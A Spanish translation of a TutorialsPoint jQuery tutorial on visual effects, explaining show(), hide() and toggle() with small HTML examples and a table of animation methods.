jQuery ofrece una interfaz simple trivial para hacer diferentes tipos de efectos asombrosos. jQuery nos permite metodos para aplicar efectos rapidamente con la configuracion minima. Este tutorial cubre todos los metodos importantes de jQuery para crear efectos visuales.

Mostrar y ocultar elementos

Los comandos para mostrar y ocultar elementos son bastante lo que se espera. show() para mostrar los elementos en un conjunto envuelto y hide() para ocultarlos.

Sintaxis

Aqui esta la sintaxis para el metodo show():

[selector].show(speed,[callback]);

Aqui la descripcion de todos los parametros:

speed - Una cadena que representa una de las tres velocidades predefinidas ("slow", "normal", o "fast") o el numero de milisegundos para ejecutar la animacion (por ejemplo: 1000).

callback - Este parametro opcional representa una funcion a ejecutarse cuando la animacion se completa, se ejecuta una vez para cada elemento animado.

La siguiente sintaxis es para el metodo hide():

[selector].hide(speed,[callback]);

Aqui la descripcion de todos los parametros:

speed - Una cadena que representa una de las tres velocidades predefinidas ("slow", "normal", o "fast") o el numero de milisegundos para ejecutar la animacion (por ejemplo: 1000).

callback - Este parametro opcional representa una funcion a ejecutarse cuando la animacion se completa, se ejecuta una vez para cada elemento animado.

Ejemplo:

Considere el siguiente archivo HTML como un pequeño codigo jQuery:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>jQuery</title>
    <script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
        $("#show").click(function(){
            $(".midiv").show(1000);
        });
        $("#hide").click(function(){
            $(".midiv").hide(1000);
        });
    });
    </script>
    <style type="text/css">
        .midiv{
            margin:10px;
            padding: 12px;
            border:2px solid #666;
            width: 100px;
            height: 100px;
        }
    </style>
</head>
<body>
    <div class="midiv">
        Este es un CUADRADO
    </div>
    <input type="button" id="hide" value="Ocultar" />
    <input type="button" id="show" value="Mostrar" />
</body>
</html>



Alternar los elementos

jQuery ofrece metodos para cambiar el estado de la visualizacion de los elementos entre mostradas u ocultas. Si el elemento se muestra al principio, se oculta. Si se oculta, se mostrará.

Sintaxis

Aqui se muestra la sintaxis para el metodo toggle():

[selector].toggle(speed,[callback]);

Aqui la descripcion de todos los parametros:

speed - Una cadena que representa una de las tres velocidades predefinidas ("slow", "normal", o "fast") o el numero de milisegundos para ejecutar la animacion (por ejemplo: 1000).

callback - Este parametro opcional representa una funcion a ejecutarse cuando la animacion se completa, se ejecuta una vez para cada elemento animado.

Ejemplo:

Podemos animar a cualquier elemento como un simple <div> que contiene una imagen.

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>jQuery</title>
    <script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
        $(".clic").click(function(event){
            $(".target").toggle('slow',function(){
                $(".log").text('Transicion completa');
            });
        });
    });
    </script>
    <style type="text/css">
        .clic{
            margin:10px;
            padding: 12px;
            border:2px solid #666;
            width: 100px;
            height: 50px;
        }
    </style>
</head>
<body>
    <div class="clic">
        Dame clic
    </div>
    <div class="target">
        <img src="imgs/jquery.jpg" alt="jQuery" />
        <div class="log"></div>
    </div>
</body>
</html>



jQuery Metodos para efectos

Han visto el concepto basico de los efectos en jQuery. La siguiente tabla enumera todos los metodos importantes para crear diferentes tipos de efectos:


+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| Metodos                                    | Descripcion                                                                                             |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| animate(params,[duration,easing,callback]) | Una funcion para hacer animaciones.                                                                     |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| fadeIn(speed,[callback])                   | Desaparece hacia adentro en todos los elementos que coincidan                                           |
|                                            | ajustando su opacidad y disparar un callback opcional despues de                                        |
|                                            | terminar.                                                                                               |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| fadeOut(speed,[callback])                  | Desaparece hacia afuera en todos los elementos que coincidan, si su opacidad                            |
|                                            | es ajustado a 0, display se muestra en "none", dispara una funcion despues de terminar.                 |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| fadeTo(speed,opacity,[callback])           | Le asigna una opacidad especifica a todos los elementos que coincidan y dispara un callback             |
|                                            | opcional despues de terminar la transicion.                                                             |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| hide()                                     | Esconde cada uno de los elementos que coincidan si son mostrados.                                       |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| hide(speed,[callback])                     | Oculta todos los elementos coincidentes con una elegante animacion y dispara un callback                |
|                                            | opcional despues de terminar la transicion.                                                             |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| show()                                     | Muestra cada uno de los elementos que coincidan si estan ocultos.                                       |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| show(speed,[callback])                     | Muestra todos los elementos que coincidan con una elegante animacion y dispara un callback              |
|                                            | opcional despues de terminar.                                                                           |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| slideDown(speed,[callback])                | Muestra todos los elementos que coincidan ajustandose en altura, dispara un callback opcional           |
|                                            | despues de terminar.                                                                                    |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| slideToggle(speed,[callback])              | Alterna la visibilidad de todos los elementos que coincidan ajustandose en altura, dispara un           |
|                                            | callback opcional despues de terminar.                                                                  |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| slideUp(speed,[callback])                  | Oculta todos los elementos que coincidan ajustandose en altura, dispara un callback                     |
|                                            | opcional despues de terminar.                                                                           |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| stop([clearQueue,gotoEnd])                 | Detiene todas las animaciones ejecutandose en los elementos especificados.                              |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| toggle()                                   | Alterna la visibilidad de todos los elementos que coincidan.                                            |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| toggle(switch)                             | Alterna la visibilidad de todos los elementos que coincidan basados en el switch (true - muestra todos  |
|                                            | los elementos, false - esconde todos los elementos)                                                     |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+
| jQuery.fx.off                              | Desabilita globalmente todas las animaciones.                                                           |
+--------------------------------------------+---------------------------------------------------------------------------------------------------------+





Traduccion por arthusu desde TutorialsPoint